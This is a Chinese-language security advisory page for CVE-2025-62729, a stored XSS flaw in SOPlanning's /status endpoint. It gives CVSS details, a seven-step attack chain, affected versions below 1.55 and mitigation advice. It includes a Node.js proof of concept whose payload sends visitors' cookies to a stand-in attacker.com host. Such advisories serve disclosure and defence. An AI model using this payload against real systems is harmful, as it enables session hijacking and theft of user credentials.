IPBUF安全漏洞报告
English
CVE-2025-62729 CVSS 5.4 中危

CVE-2025-62729 SOPlanning存储型XSS漏洞

披露日期: 2025-11-20

漏洞信息

漏洞编号
CVE-2025-62729
漏洞类型
存储型XSS
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
SOPlanning

相关标签

存储型XSSSOPlanningCVE-2025-62729跨站脚本Web应用漏洞认证绕过会话劫持

漏洞概述

CVE-2025-62729是SOPlanning中的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞存在于/status端点,攻击者通过利用低权限账户,可以在系统状态页面中注入恶意的HTML和JavaScript代码。由于是存储型XSS,恶意脚本会被永久保存在服务器端,当其他用户访问受影响页面时,注入的代码会自动执行,可能导致会话劫持、敏感信息窃取、钓鱼攻击等安全问题。CVSS评分5.4,属于中危级别,需要用户交互才能触发。该漏洞由[email protected]发现并报告,已在1.55版本中修复。

技术细节

漏洞位于SOPlanning的/status端点,该端点用于显示系统状态信息。攻击者使用低权限账户登录后,可以在状态字段中注入恶意JavaScript代码。由于应用未对用户输入进行充分的HTML转义或白名单过滤,恶意代码被直接存储到数据库中。当其他用户访问包含该状态信息的页面时,浏览器会解析并执行注入的脚本。由于需要用户交互(如访问特定页面)才能触发攻击,攻击复杂度较低(AC:L),但攻击向量为网络(AV:N),可远程利用。攻击成功后可窃取用户会话cookie、伪造用户操作或进行钓鱼攻击。

攻击链分析

STEP 1
步骤1
攻击者获取SOPlanning低权限账户
STEP 2
步骤2
登录系统并访问/status端点
STEP 3
步骤3
在状态字段中注入恶意JavaScript代码(如<script>标签)
STEP 4
步骤4
恶意代码被存储到数据库,未经过滤或转义
STEP 5
步骤5
其他用户访问/status页面或相关页面
STEP 6
步骤6
浏览器解析页面时执行注入的恶意脚本
STEP 7
步骤7
攻击者通过恶意脚本窃取用户会话cookie或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-62729 Stored XSS PoC // Target: SOPlanning /status endpoint // Authentication: Low privilege account required const axios = require('axios'); async function exploit(targetUrl, username, password) { // Step 1: Login to get session cookie const loginData = { user_login: username, user_password: password }; const loginResponse = await axios.post( `${targetUrl}/login.php`, loginData, { withCredentials: true } ); const cookies = loginResponse.headers['set-cookie']; // Step 2: Inject XSS payload via /status endpoint const xssPayload = '<script>document.location="http://attacker.com/steal?c="+document.cookie</script>'; const statusData = { status_name: 'System Status', status_value: xssPayload, description: 'Updated system status' }; await axios.post( `${targetUrl}/status.php`, statusData, { headers: { Cookie: cookies } } ); console.log('XSS payload injected successfully'); console.log('When users visit the status page, the payload will execute'); } exploit('http://target-soplanning.com', 'attacker_user', 'attacker_pass');

影响范围

SOPlanning < 1.55

防御指南

临时缓解措施
如果无法立即升级,可临时禁用/status端点的用户输入功能,或实施严格的输入过滤规则,禁止HTML标签和JavaScript相关字符的输入。同时监控访问日志,及时发现异常请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表